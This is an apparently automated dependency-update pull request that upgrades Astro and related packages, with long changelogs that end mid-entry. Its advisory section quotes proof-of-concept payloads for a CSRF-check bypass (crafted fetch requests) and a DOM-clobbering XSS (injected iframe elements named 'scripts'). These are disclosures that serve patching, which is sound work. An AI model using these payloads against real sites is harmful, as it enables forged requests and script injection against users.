🚨 [security] Update astro 1.6.11 → 5.0.9 (major)
🚨 Your current dependencies have known security vulnerabilities 🚨
This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!
Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.
What changed?
✳️ astro (1.6.11 → 5.0.9) · Repo · Changelog
Security Advisories 🚨
🚨 Atro CSRF Middleware Bypass (security.checkOrigin)
Summary
A bug in Astro’s CSRF-protection middleware allows requests to bypass CSRF checks.
Details
When the
security.checkOriginconfiguration option is set totrue, Astro middleware will perform a CSRF check. (Source code: https://github.com/withastro/astro/blob/6031962ab5f56457de986eb82bd24807e926ba1b/packages/astro/src/core/app/middlewares.ts)For example, with the following Astro configuration:
// astro.config.mjs import { defineConfig } from 'astro/config'; import node from '@astrojs/node'; export default defineConfig({ output: 'server', security: { checkOrigin: true }, adapter: node({ mode: 'standalone' }), });A request like the following would be blocked if made from a different origin:
// fetch API or <form action="https://test.example.com/" method="POST"> fetch('https://test.example.com/', { method: 'POST', credentials: 'include', body: 'a=b', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, }); // => Cross-site POST form submissions are forbiddenHowever, a vulnerability exists that can bypass this security.
Pattern 1: Requests with a semicolon after the
Content-TypeA semicolon-delimited parameter is allowed after the type in
Content-Type.Web browsers will treat a
Content-Typesuch asapplication/x-www-form-urlencoded; abcas a simple request and will not perform preflight validation. In this case, CSRF is not blocked as expected.fetch('https://test.example.com', { method: 'POST', credentials: 'include', body: 'test', headers: { 'Content-Type': 'application/x-www-form-urlencoded; abc' }, }); // => Server-side functions are executed (Response Code 200).Pattern 2: Request without
Content-TypeheaderThe
Content-Typeheader is not required for a request. The following examples are sent without aContent-Typeheader, resulting in CSRF.// Pattern 2.1 Request without body fetch('http://test.example.com', { method: 'POST', credentials: 'include' }); // Pattern 2.2 Blob object without type fetch('https://test.example.com', { method: 'POST', credentials: 'include', body: new Blob(['a=b'], {}), });Impact
Bypass CSRF protection implemented with CSRF middleware.
Note
Even with
credentials: 'include', browsers may not send cookies due to third-party cookie blocking. This feature depends on the browser version and settings, and is for privacy protection, not as a CSRF measure.
🚨 DOM Clobbering Gadget found in astro's client-side router that leads to XSS
Summary
A DOM Clobbering gadget has been discoverd in Astro's client-side router. It can lead to cross-site scripting (XSS) in websites enables Astro's client-side routing and has stored attacker-controlled scriptless HTML elements (i.e.,
iframetags with unsanitizednameattributes) on the destination pages.Details
Backgrounds
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/Gadgets found in Astro
We identified a DOM Clobbering gadget in Astro's client-side routing module, specifically in the
<ViewTransitions />component. When integrated, this component introduces the following vulnerable code, which is executed during page transitions (e.g., clicking an<a>link):astro/packages/astro/src/transitions/router.ts
Lines 135 to 156 in 7814a6c
However, this implementation is vulnerable to a DOM Clobbering attack. The
document.scriptslookup can be shadowed by an attacker injected non-script HTML elements (e.g.,<img name="scripts"><img name="scripts">) via the browser's named DOM access mechanism. This manipulation allows an attacker to replace the intended script elements with an array of attacker-controlled scriptless HTML elements.The condition
script.dataset.astroExec === ''on line 138 can be bypassed because the attacker-controlled element does not have a data-astroExec attribute. Similarly, the check on line 134 can be bypassed as the element does not require atypeattribute.Finally, the
innerHTMLof an attacker-injected non-script HTML elements, which is plain text content before, will be set to the.innerHTMLof an script element that leads to XSS.PoC
Consider a web application using Astro as the framework with client-side routing enabled and allowing users to embed certain scriptless HTML elements (e.g.,
formoriframe). This can be done through a bunch of website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.For PoC website, please refer to:
https://stackblitz.com/edit/github-4xgj2d. Clicking the "about" button in the menu will trigger analert(1)from an attacker-injectedformelement.--- import Header from "../components/Header.astro"; import Footer from "../components/Footer.astro"; import { ViewTransitions } from "astro:transitions"; import "../styles/global.css"; const { pageTitle } = Astro.props; --- <html lang="en"> <head> <meta charset="utf-8" /> <link rel="icon" type="image/svg+xml" href="/favicon.svg" /> <meta name="viewport" content="width=device-width" /> <meta name="generator" content={Astro.generator} /> <title>{pageTitle}</title> <ViewTransitions /> </head> <body> <!--USER INPUT--> <iframe name="scripts">alert(1)</iframe> <iframe name="scripts">alert(1)</iframe> <!--USER INPUT--> <Header /> <h1>{pageTitle}</h1> <slot /> <Footer /> <script> import "../scripts/menu.js"; </script> </body> </html>Impact
This vulnerability can result in cross-site scripting (XSS) attacks on websites that built with Astro that enable the client-side routing with
ViewTransitionsand store the user-inserted scriptless HTML tags without properly sanitizing thenameattributes on the page.Patch
We recommend replacing
document.scriptswithdocument.getElementsByTagName('script')for referring to script elements. This will mitigate the possibility of DOM Clobbering attacks leveraging thenameattribute.Reference
Similar issues for reference:
- Webpack (CVE-2024-43788)
- Vite (CVE-2024-45812)
- layui (CVE-2024-47075)
Release Notes
Too many releases to show here. View the full release notes.
✳️ @astrojs/node (3.1.0 → 9.0.0) · Repo
Sorry, we couldn’t find anything useful about this release.
✳️ @astrojs/react (1.2.2 → 4.1.1) · Repo
Sorry, we couldn’t find anything useful about this release.
✳️ @astrojs/tailwind (2.1.3 → 5.1.3) · Repo
Sorry, we couldn’t find anything useful about this release.
✳️ prettier-plugin-astro (0.7.0 → 0.14.1) · Repo · Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 56 commits:
Version Packages (#423)fix: try to fix GitHub Actionschore: update compilerVersion Packages (#418)[FEAT] Add option to skip formatting the Frontmatter (#417)Version Packages (#401)fix: rewrite readme (#400)fix: hug when needed for components and fragments (#397)Version Packages (#393)fix: regression with self-closing tags text (#394)fix: format JSX expressions with 3+ roots (#392)Fix: typo in `CONTRIBUTING.md` and broken links on `elements.ts` (#391)Version Packages (#385)Fix attributes using optional chaining not formatting correctly (#384)ci: run CI on latest Node versions (#380)Version Packages (#379)fix(embed): Replace all instances of invalid characters inside expressions (#378)Readme: Clarify filename of prettierrc (#376)Version Packages (#371)Do not delete line breaks and indentation of lines in class attribute (#369)Format doctype as lowercase to match Prettier 3.0 (#370)Version Packages (#363)docs: update README for Prettier 3 ESM configs (#366)chore(package.json): remove pnpm from engines (#362)Add congrats bot (#357)Version Packages (#356)feat: support for Prettier 3 (#355)Version Packages (#350)feat: use sync version of the compiler (#349)Version Packages (#348)fix: prevent parsing empty script tags (#347)[ci] formatVersion Packages (#343)docs: rewrite README (#344)feat(embed): Add support for formatting JSON, Markdown etc script tags (#342)[ci] formatUse `babel-ts` to parse the frontmatter (#341)Version Packages (#327)Correctly pass options to embedded parsers (#339)Add compatibility for other plugins parsing top-level returns in Astro frontmatter (#336)fix: treat offset as bytes (#324)Version Packages (#321)Add support for formatting spread attributes (#320)fix(css): Add support for formatting LESS style blocks (#319)config(prettier): Add lockfile to .prettierignore[ci] formatchore(deps): Upgrade dependenciesci(node): Remove Node 14 in favor of Node 18 (#314)Version Packages (#313)fix: Remove only-allowVersion Packages (#307)Migrate to pnpm (#303)Fix node not hugging their end when the last children was a node (#312)Add test for ignoring self-closing tag + upgrade compiler (#310)chore: upgrade compiler (#305)chore: use .cjs instead of .js (#304)
↗️ @ampproject/remapping (indirect, 2.2.0 → 2.3.0) · Repo
Commits
See the full diff on Github. The new version differs by 11 commits:
↗️ @astrojs/compiler (indirect, 0.29.17 → 2.10.3) · Repo · Changelog
Release Notes
Too many releases to show here. View the full release notes.
↗️ @astrojs/markdown-remark (indirect, 1.1.3 → 6.0.1) · Repo
Sorry, we couldn’t find anything useful about this release.
↗️ @astrojs/prism (indirect, 1.0.2 → 3.2.0) · Repo
Sorry, we couldn’t find anything useful about this release.
↗️ @astrojs/telemetry (indirect, 1.0.1 → 3.2.0) · Repo · Changelog
Release Notes
3.2.0 (from changelog)
Minor Changes
3.1.0 (from changelog)
Minor Changes
#10689
683d51a5eecafbbfbfed3910a3f1fbf0b3531b99Thanks @ematipico! - Deprecate support for versions of Node.js older thanv18.17.1for Node.js 18, older thanv20.0.3for Node.js 20, and the complete Node.js v19 release line.This change is in line with Astro's Node.js support policy.
3.0.4 (from changelog)
Patch Changes
#8900
341ef6578Thanks @FredKSchott! - Track if the Astro CLI is running in aTTYcontext.This information helps us better understand scripted use of Astro vs. direct terminal use of Astro CLI by a user, especially the
astro devcommand.
3.0.3 (from changelog)
Patch Changes
3.0.2 (from changelog)
Patch Changes
- #8600
ed54d4644Thanks @FredKSchott! - Improve config info telemetry
3.0.1 (from changelog)
Patch Changes
- #8363
0ce0720c7Thanks @natemoo-re! - WrapJSON.parseintry/catch
3.0.0 (from changelog)
Major Changes
#8188
d0679a666Thanks @ematipico! - Remove support for Node 16. The lowest supported version by Astro and all integrations is now v18.14.1. As a reminder, Node 16 will be deprecated on the 11th September 2023.#8179
6011d52d3Thanks @matthewp! - Astro 3.0 Release CandidatePatch Changes
#8234
0c7b42dc6Thanks @natemoo-re! - Update telemetry notice#8130
3e834293dThanks @Princesseuh! - Add some polyfills for Stackblitz until they support Node 18. Running Astro on Node 16 is still not officially supported, however.#8188
b675acb2aThanks @ematipico! - Remove undici dependency
2.1.1 (from changelog)
Patch Changes
2.1.0 (from changelog)
Minor Changes
- #6213
afbbc4d5bThanks @Princesseuh! - Updated compilation settings to disable downlevelling for Node 14
2.0.1 (from changelog)
Patch Changes
- #6355
5aa6580f7Thanks @ematipico! - Updateundicito v5.20.0
Does any of this look wrong? Please let us know.
↗️ @babel/compat-data (indirect, 7.20.1 → 7.26.3) · Repo · Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ @babel/core (indirect, 7.20.2 → 7.26.0) · Repo · Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ @babel/helper-compilation-targets (indirect, 7.20.0 → 7.25.9) · Repo · Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 14 commits:
v7.25.9remove test options flaky (#16914)fix: Accidentally publishing useless files (#16917)chore: Improve logic regarding fast objects (#16919)test(numeric-separator): fix invalid test layout (#16920)perf: Make `VISITOR_KEYS` etc. faster to access (#16918)fix: Keep type annotations in `syntacticPlaceholders` mode (#16905)Update test262 (#16910)Update compat data (#16909)ci: pin latest node to 22 (#16913)fix: support BROWSERSLIST{,_CONFIG} env (#16907)Analyze `ClassAccessorProperty` to prevent the `no-undef` rule (#16884)Update test262 (#16900)Add v7.25.8 to CHANGELOG.md [skip ci]
↗️ @babel/helper-module-imports (indirect, 7.18.6 → 7.25.9) · Repo · Changelog
Release Notes
7.25.9
v7.25.9 (2024-10-22)
Thanks @victorenator for your first PR!
🐛 Bug Fix
babel-parser,babel-template,babel-types
- #16905 fix: Keep type annotations in
syntacticPlaceholdersmode (@liuxingbaoyu)babel-helper-compilation-targets,babel-preset-env- Other
- #16884 Analyze
ClassAccessorPropertyto prevent theno-undefrule (@victorenator)🏠 Internal
babel-helper-transform-fixture-test-runner- Every package
- #16917 fix: Accidentally published
tsconfigfiles (@liuxingbaoyu)🏃♀️ Performance
babel-parser,babel-types
- #16918 perf: Make
VISITOR_KEYSetc. faster to access (@liuxingbaoyu)Committers: 4
- Babel Bot (@babel-bot)
- Huáng Jùnliàng (@JLHwung)
- Viktar Vaŭčkievič (@victorenator)
- @liuxingbaoyu
7.25.7
v7.25.7 (2024-10-02)
Thanks @DylanPiercey and @YuHyeonWook for your first PRs!
🐛 Bug Fix
babel-helper-validator-identifierbabel-traverse
- #16814 fix: issue with node path keys updated on unrelated paths (@DylanPiercey)
babel-plugin-transform-classes
- #16797 Use an inclusion rather than exclusion list for
super()check (@nicolo-ribaudo)babel-generator
- #16788 Fix printing of TS
inferin compact mode (@nicolo-ribaudo)- #16785 Print TS type annotations for destructuring in assignment pattern (@nicolo-ribaudo)
- #16778 Respect
[no LineTerminator here]after nodes (@nicolo-ribaudo)💅 Polish
babel-types
- #16852 Add deprecated JSDOC for fields (@liuxingbaoyu)
🏠 Internal
babel-core
- #16820 Allow sync loading of ESM when
--experimental-require-module(@nicolo-ribaudo)babel-helper-compilation-targets,babel-helper-plugin-utils,babel-preset-envbabel-plugin-proposal-destructuring-private,babel-plugin-syntax-decimal,babel-plugin-syntax-import-reflection,babel-standalone
- #16809 Archive syntax-import-reflection and syntax-decimal (@nicolo-ribaudo)
babel-generator
- #16779 Simplify logic for
[no LineTerminator here]before nodes (@nicolo-ribaudo)🏃♀️ Performance
babel-plugin-transform-typescript
- #16875 perf: Avoid extra cloning of namespaces (@liuxingbaoyu)
babel-types
- #16842 perf: Improve @babel/types builders (@liuxingbaoyu)
- #16828 Only access
BABEL_TYPES_8_BREAKINGat startup (@nicolo-ribaudo)Committers: 8
- Babel Bot (@babel-bot)
- Dylan Piercey (@DylanPiercey)
- Huáng Jùnliàng (@JLHwung)
- Nicolò Ribaudo (@nicolo-ribaudo)
- @liuxingbaoyu
- coderaiser (@coderaiser)
- fisker Cheung (@fisker)
- hwook (@YuHyeonWook)
7.24.7
v7.24.7 (2024-06-05)
🐛 Bug Fix
babel-node
- #16554 Allow extra flags in babel-node (@nicolo-ribaudo)
babel-traverse
- #16522 fix: incorrect
constantViolationswith destructuring (@liuxingbaoyu)babel-helper-transform-fixture-test-runner,babel-plugin-proposal-explicit-resource-management
- #16524 fix: Transform
usinginswitchcorrectly (@liuxingbaoyu)🏠 Internal
babel-helpers,babel-runtime-corejs2,babel-runtime-corejs3,babel-runtime
- #16525 Delete unused array helpers (@blakewilson)
Committers: 7
- Amjad Yahia Robeen Hassan (@amjed-98)
- Babel Bot (@babel-bot)
- Blake Wilson (@blakewilson)
- Huáng Jùnliàng (@JLHwung)
- Nicolò Ribaudo (@nicolo-ribaudo)
- Sukka (@SukkaW)
- @liuxingbaoyu
7.24.6
v7.24.6 (2024-05-24)
Thanks @amjed-98, @blakewilson, @coelhucas, and @SukkaW for your first PRs!
🐛 Bug Fix
babel-helper-create-class-features-plugin,babel-plugin-transform-class-properties
- #16514 Fix source maps for private member expressions (@nicolo-ribaudo)
babel-core,babel-generator,babel-plugin-transform-modules-commonjs
- #16515 Fix source maps for template literals (@nicolo-ribaudo)
babel-helper-create-class-features-plugin,babel-plugin-proposal-decoratorsbabel-helpers,babel-plugin-proposal-decorators,babel-runtime-corejs3babel-parser,babel-plugin-transform-typescript
- #16476 fix: Correctly parse
cls.fn<C> = x(@liuxingbaoyu)🏠 Internal
babel-core,babel-helpers,babel-plugin-transform-runtime,babel-preset-env,babel-runtime-corejs2,babel-runtime-corejs3,babel-runtime
- #16501 Generate helper metadata at build time (@nicolo-ribaudo)
babel-helpers
- #16499 Add
tsconfig.jsonfor@babel/helpers/src/helpers(@nicolo-ribaudo)babel-cli,babel-helpers,babel-plugin-external-helpers,babel-plugin-proposal-decorators,babel-plugin-transform-class-properties,babel-plugin-transform-modules-commonjs,babel-plugin-transform-modules-systemjs,babel-plugin-transform-runtime,babel-preset-env,babel-runtime-corejs2,babel-runtime-corejs3,babel-runtime
- #16495 Move all runtime helpers to individual files (@nicolo-ribaudo)
babel-parser,babel-traverse
- #16482 Statically generate boilerplate for bitfield accessors (@nicolo-ribaudo)
- Other
Committers: 9
- Amjad Yahia Robeen Hassan (@amjed-98)
- Babel Bot (@babel-bot)
- Blake Wilson (@blakewilson)
- Huáng Jùnliàng (@JLHwung)
- Lucas Coelho (@coelhucas)
- Nicolò Ribaudo (@nicolo-ribaudo)
- Sukka (@SukkaW)
- Zzzen (@Zzzen)
- @liuxingbaoyu
7.24.3
v7.24.3 (2024-03-20)
🐛 Bug Fix
babel-helper-module-imports
- #16370 fix: do not inject the same imported identifier multiple times (@ota-meshi)
Committers: 2
- Nicolò Ribaudo (@nicolo-ribaudo)
- Yosuke Ota (@ota-meshi)
7.24.1
v7.24.1 (2024-03-19)
🐛 Bug Fix
babel-helper-create-class-features-plugin,babel-plugin-proposal-decoratorsbabel-plugin-proposal-decorators,babel-plugin-proposal-json-modules,babel-plugin-transform-async-generator-functions,babel-plugin-transform-regenerator,babel-plugin-transform-runtime,babel-preset-env
- #16329 Respect
moduleNamefor@babel/runtime/regeneratorimports (@nicolo-ribaudo)babel-helper-create-class-features-plugin,babel-plugin-proposal-decorators,babel-plugin-proposal-pipeline-operator,babel-plugin-transform-class-propertiesbabel-helper-create-class-features-plugin,babel-helper-replace-supers,babel-plugin-proposal-decorators,babel-plugin-transform-class-properties📝 Documentation
- #16319 Update SECURITY.md (@nicolo-ribaudo)
🏠 Internal
babel-code-frame,babel-highlight
- #16359 Replace
chalkwithpicocolors(@nicolo-ribaudo)babel-helper-fixtures,babel-helpers,babel-plugin-bugfix-safari-id-destructuring-collision-in-function-expression,babel-plugin-proposal-pipeline-operator,babel-plugin-transform-unicode-sets-regex,babel-preset-env,babel-preset-flowbabel-helper-module-imports,babel-plugin-proposal-import-wasm-source,babel-plugin-proposal-json-modules,babel-plugin-proposal-record-and-tuple,babel-plugin-transform-react-jsx-development,babel-plugin-transform-react-jsx
- #16349 Support merging imports in import injector (@nicolo-ribaudo)
- Other
- #16332 Test Babel 7 plugins compatibility with Babel 8 core (@nicolo-ribaudo)
🔬 Output optimization
babel-helper-replace-supers,babel-plugin-transform-class-properties,babel-plugin-transform-classes,babel-plugin-transform-parameters,babel-plugin-transform-runtime
- #16345 Optimize the use of
assertThisInitializedaftersuper()(@liuxingbaoyu)babel-plugin-transform-class-properties,babel-plugin-transform-classes
- #16343 Use simpler
assertThisInitializedmore often (@liuxingbaoyu)babel-plugin-proposal-decorators,babel-plugin-transform-class-properties,babel-plugin-transform-object-rest-spread,babel-traverse
- #16342 Consider well-known and registered symbols as literals (@nicolo-ribaudo)
babel-core,babel-plugin-external-helpers,babel-plugin-proposal-decorators,babel-plugin-proposal-function-bind,babel-plugin-transform-class-properties,babel-plugin-transform-classes,babel-plugin-transform-flow-comments,babel-plugin-transform-flow-strip-types,babel-plugin-transform-function-name,babel-plugin-transform-modules-systemjs,babel-plugin-transform-parameters,babel-plugin-transform-private-property-in-object,babel-plugin-transform-react-jsx,babel-plugin-transform-runtime,babel-plugin-transform-spread,babel-plugin-transform-typescript,babel-preset-env
- #16326 Reduce the use of class names (@liuxingbaoyu)
Committers: 4
- Babel Bot (@babel-bot)
- Huáng Jùnliàng (@JLHwung)
- Nicolò Ribaudo (@nicolo-ribaudo)
- @liuxingbaoyu
7.22.15
v7.22.15 (2023-09-04)
🐛 Bug Fix
babel-core
- #15923 Only perform config loading re-entrancy check for cjs (@nicolo-ribaudo)
🏠 Internal
- Every package
- #15892 Add explicit
.ts/.jsextension to all imports insrc(@nicolo-ribaudo)Committers: 4
- Babel Bot (@babel-bot)
- Huáng Jùnliàng (@JLHwung)
- Nicolò Ribaudo (@nicolo-ribaudo)
- @liuxingbaoyu
7.22.5
v7.22.5 (2023-06-08)
🐛 Bug Fix
babel-preset-env,babel-standalone
- #15675 Fix using
syntax-unicode-sets-regexin standalone (@nicolo-ribaudo)
💅 Polish
babel-core
- #15683 Suggest
-transform-when resolving missing plugins (@nicolo-ribaudo)Committers: 4
- Avery (@nullableVoidPtr)
- Babel Bot (@babel-bot)
- Nicolò Ribaudo (@nicolo-ribaudo)
- @liuxingbaoyu
7.21.4
v7.21.4 (2023-03-31)
🐛 Bug Fix
babel-core,babel-helper-module-imports,babel-preset-typescript
- #15478 Fix support for
import/exportin.ctsfiles (@liuxingbaoyu)babel-generator
💅 Polish
babel-helper-create-class-features-plugin,babel-plugin-proposal-class-properties,babel-plugin-transform-typescript,babel-traverse
- #15427 Fix moving comments of removed nodes (@nicolo-ribaudo)
🏠 Internal
- Other
babel-parserbabel-code-frame,babel-highlightCommitters: 6
- Babel Bot (@babel-bot)
- Huáng Jùnliàng (@JLHwung)
- Nicolò Ribaudo (@nicolo-ribaudo)
- Ryan Tsao (@rtsao)
- @liuxingbaoyu
- fisker Cheung (@fisker)
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 14 commits:
v7.25.9remove test options flaky (#16914)fix: Accidentally publishing useless files (#16917)chore: Improve logic regarding fast objects (#16919)test(numeric-separator): fix invalid test layout (#16920)perf: Make `VISITOR_KEYS` etc. faster to access (#16918)fix: Keep type annotations in `syntacticPlaceholders` mode (#16905)Update test262 (#16910)Update compat data (#16909)ci: pin latest node to 22 (#16913)fix: support BROWSERSLIST{,_CONFIG} env (#16907)Analyze `ClassAccessorProperty` to prevent the `no-undef` rule (#16884)Update test262 (#16900)Add v7.25.8 to CHANGELOG.md [skip ci]
↗️ @babel/helper-module-transforms (indirect, 7.20.2 → 7.26.0) · Repo · Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ @babel/helper-plugin-utils (indirect, 7.20.2 → 7.25.9) · Repo · Changelog
Release Notes
7.25.9
v7.25.9 (2024-10-22)
Thanks @victorenator for your first PR!
🐛 Bug Fix
babel-parser,babel-template,babel-types
- #16905 fix: Keep type annotations in
syntacticPlaceholdersmode (@liuxingbaoyu)babel-helper-compilation-targets,babel-preset-env- Other
- #16884 Analyze
ClassAccessorPropertyto prevent theno-undefrule (@victorenator)🏠 Internal
babel-helper-transform-fixture-test-runner- Every package
- #16917 fix: Accidentally published
tsconfigfiles (@liuxingbaoyu)🏃♀️ Performance
babel-parser,babel-types
- #16918 perf: Make
VISITOR_KEYSetc. faster to access (@liuxingbaoyu)Committers: 4
- Babel Bot (@babel-bot)
- Huáng Jùnliàng (@JLHwung)
- Viktar Vaŭčkievič (@victorenator)
- @liuxingbaoyu
7.25.7
v7.25.7 (2024-10-02)
Thanks @DylanPiercey and @YuHyeonWook for your first PRs!
🐛 Bug Fix
babel-helper-validator-identifierbabel-traverse
- #16814 fix: issue with node path keys updated on unrelated paths (@DylanPiercey)
babel-plugin-transform-classes
- #16797 Use an inclusion rather than exclusion list for
super()check (@nicolo-ribaudo)babel-generator
- #16788 Fix printing of TS
inferin compact mode (@nicolo-ribaudo)- #16785 Print TS type annotations for destructuring in assignment pattern (@nicolo-ribaudo)
- #16778 Respect
[no LineTerminator here]after nodes (@nicolo-ribaudo)💅 Polish
babel-types
- #16852 Add deprecated JSDOC for fields (@liuxingbaoyu)
🏠 Internal
babel-core
- #16820 Allow sync loading of ESM when
--experimental-require-module(@nicolo-ribaudo)babel-helper-compilation-targets,babel-helper-plugin-utils,babel-preset-envbabel-plugin-proposal-destructuring-private,babel-plugin-syntax-decimal,babel-plugin-syntax-import-reflection,babel-standalone
- #16809 Archive syntax-import-reflection and syntax-decimal (@nicolo-ribaudo)
babel-generator
- #16779 Simplify logic for
[no LineTerminator here]before nodes (@nicolo-ribaudo)🏃♀️ Performance
babel-plugin-transform-typescript
- #16875 perf: Avoid extra cloning of namespaces (@liuxingbaoyu)
babel-types
- #16842 perf: Improve @babel/types builders (@liuxingbaoyu)
- #16828 Only access
BABEL_TYPES_8_BREAKINGat startup (@nicolo-ribaudo)Committers: 8
- Babel Bot (@babel-bot)
- Dylan Piercey (@DylanPiercey)
- Huáng Jùnliàng (@JLHwung)
- Nicolò Ribaudo (@nicolo-ribaudo)
- @liuxingbaoyu
- coderaiser (@coderaiser)
- fisker Cheung (@fisker)
- hwook (@YuHyeonWook)
7.24.8
v7.24.8 (2024-07-11)
Thanks @H0onnn, @jkup and @SreeXD for your first pull requests!
👓 Spec Compliance
babel-parser
- #16567 Do not use strict mode in TS
declare(@liuxingbaoyu)🐛 Bug Fix
babel-generator
- #16630 Correctly print parens around
ininforheads (@nicolo-ribaudo)- #16626 Fix printing of comments in
await using(@nicolo-ribaudo)- #16591 fix typescript code generation for yield expression inside type expre… (@SreeXD)
babel-parser
- #16613 Disallow destructuring assignment in
usingdeclarations (@H0onnn)- #16490 fix: do not add
.value: undefinedto regexp literals (@liuxingbaoyu)babel-types
- #16615 Remove boolean props from
ObjectTypeInternalSlotvisitor keys (@nicolo-ribaudo)babel-plugin-transform-typescript
- #16566 fix: Correctly handle
export import x =(@liuxingbaoyu)💅 Polish
babel-generator
- #16625 Avoid unnecessary parens around
asyncinfor await(@nicolo-ribaudo)babel-traverse
- #16619 Avoid checking
Scope.globalsmultiple times (@liuxingbaoyu)Committers: 9
- Amjad Yahia Robeen Hassan (@amjed-98)
- Babel Bot (@babel-bot)
- Huáng Jùnliàng (@JLHwung)
- Jon Kuperman (@jkup)
- Nagendran N (@SreeXD)
- Nicolò Ribaudo (@nicolo-ribaudo)
- Sukka (@SukkaW)
- @H0onnn
- @liuxingbaoyu
7.24.7
v7.24.7 (2024-06-05)
🐛 Bug Fix
babel-node
- #16554 Allow extra flags in babel-node (@nicolo-ribaudo)
babel-traverse
- #16522 fix: incorrect
constantViolationswith destructuring (@liuxingbaoyu)babel-helper-transform-fixture-test-runner,babel-plugin-proposal-explicit-resource-management
- #16524 fix: Transform
usinginswitchcorrectly (@liuxingbaoyu)🏠 Internal
babel-helpers,babel-runtime-corejs2,babel-runtime-corejs3,babel-runtime
- #16525 Delete unused array helpers (@blakewilson)
Committers: 7
- Amjad Yahia Robeen Hassan (@amjed-98)
- Babel Bot (@babel-bot)
- Blake Wilson (@blakewilson)
- Huáng Jùnliàng (@JLHwung)
- Nicolò Ribaudo (@nicolo-ribaudo)
- Sukka (@SukkaW)
- @liuxingbaoyu
7.24.6
v7.24.6 (2024-05-24)
Thanks @amjed-98, @blakewilson, @coelhucas, and @SukkaW for your first PRs!
🐛 Bug Fix
babel-helper-create-class-features-plugin,babel-plugin-transform-class-properties
- #16514 Fix source maps for private member expressions (@nicolo-ribaudo)
babel-core,babel-generator,babel-plugin-transform-modules-commonjs
- #16515 Fix source maps for template literals (@nicolo-ribaudo)
babel-helper-create-class-features-plugin,babel-plugin-proposal-decoratorsbabel-helpers,babel-plugin-proposal-decorators,babel-runtime-corejs3babel-parser,babel-plugin-transform-typescript
- #16476 fix: Correctly parse
cls.fn<C> = x(@liuxingbaoyu)🏠 Internal
babel-core,babel-helpers,babel-plugin-transform-runtime,babel-preset-env,babel-runtime-corejs2,babel-runtime-corejs3,babel-runtime
- #16501 Generate helper metadata at build time (@nicolo-ribaudo)
babel-helpers
- #16499 Add
tsconfig.jsonfor@babel/helpers/src/helpers(@nicolo-ribaudo)babel-cli,babel-helpers,babel-plugin-external-helpers,babel-plugin-proposal-decorators,babel-plugin-transform-class-properties,babel-plugin-transform-modules-commonjs,babel-plugin-transform-modules-systemjs,babel-plugin-transform-runtime,babel-preset-env,babel-runtime-corejs2,babel-runtime-corejs3,babel-runtime
- #16495 Move all runtime helpers to individual files (@nicolo-ribaudo)
babel-parser,babel-traverse
- #16482 Statically generate boilerplate for bitfield accessors (@nicolo-ribaudo)
- Other
Committers: 9
- Amjad Yahia Robeen Hassan (@amjed-98)
- Babel Bot (@babel-bot)
- Blake Wilson (@blakewilson)
- Huáng Jùnliàng (@JLHwung)
- Lucas Coelho (@coelhucas)
- Nicolò Ribaudo (@nicolo-ribaudo)
- Sukka (@SukkaW)
- Zzzen (@Zzzen)
- @liuxingbaoyu
7.24.5
v7.24.5 (2024-04-29)
Thanks @romgrk and @sossost for your first PRs!
🐛 Bug Fix
babel-plugin-transform-classes,babel-traverse
- #16377 fix: TypeScript annotation affects output (@liuxingbaoyu)
babel-helpers,babel-plugin-proposal-explicit-resource-management,babel-runtime-corejs3💅 Polish
🏠 Internal
- Other
- #16414 Relax ESLint peerDependency constraint to allow v9 (@liuxingbaoyu)
babel-parser
- #16425 Improve
@babel/parserAST types (@nicolo-ribaudo)- #16417 Always pass type argument to
.startNode(@nicolo-ribaudo)babel-helper-create-class-features-plugin,babel-helper-member-expression-to-functions,babel-helper-module-transforms,babel-helper-split-export-declaration,babel-helper-wrap-function,babel-helpers,babel-plugin-bugfix-firefox-class-in-computed-class-key,babel-plugin-proposal-explicit-resource-management,babel-plugin-transform-block-scoping,babel-plugin-transform-destructuring,babel-plugin-transform-object-rest-spread,babel-plugin-transform-optional-chaining,babel-plugin-transform-parameters,babel-plugin-transform-private-property-in-object,babel-plugin-transform-react-jsx-self,babel-plugin-transform-typeof-symbol,babel-plugin-transform-typescript,babel-traverse
- #16439 Make
NodePath<T | U>distributive (@nicolo-ribaudo)babel-plugin-proposal-partial-application,babel-types
- #16421 Remove
JSXNamespacedNamefrom validCallExpressionargs (@nicolo-ribaudo)babel-plugin-transform-class-properties,babel-preset-env
- #16406 Do not load unnecessary Babel 7 syntax plugins in Babel 8 (@nicolo-ribaudo)
🏃♀️ Performance
babel-helpers,babel-preset-env,babel-runtime-corejs3Committers: 6
- Babel Bot (@babel-bot)
- Huáng Jùnliàng (@JLHwung)
- Nicolò Ribaudo (@nicolo-ribaudo)
- Rom Grk (@romgrk)
- @liuxingbaoyu
- ynnsuis (@sossost)
7.24.0
v7.24.0 (2024-02-28)
Thanks @ajihyf for your first PR!
Release post with summary and highlights: https://babeljs.io/7.24.0
🚀 New Feature
babel-standalonebabel-core,babel-helper-create-class-features-plugin,babel-helpers,babel-plugin-transform-class-properties
- #16267 Implement
noUninitializedPrivateFieldAccessassumption (@nicolo-ribaudo)babel-helper-create-class-features-plugin,babel-helpers,babel-plugin-proposal-decorators,babel-plugin-proposal-pipeline-operator,babel-plugin-syntax-decorators,babel-plugin-transform-class-properties,babel-runtime-corejs2,babel-runtime-corejs3,babel-runtimebabel-preset-flow
- #16309 [babel 7] Allow setting
ignoreExtensionsin Flow preset (@nicolo-ribaudo)- #16284 Add
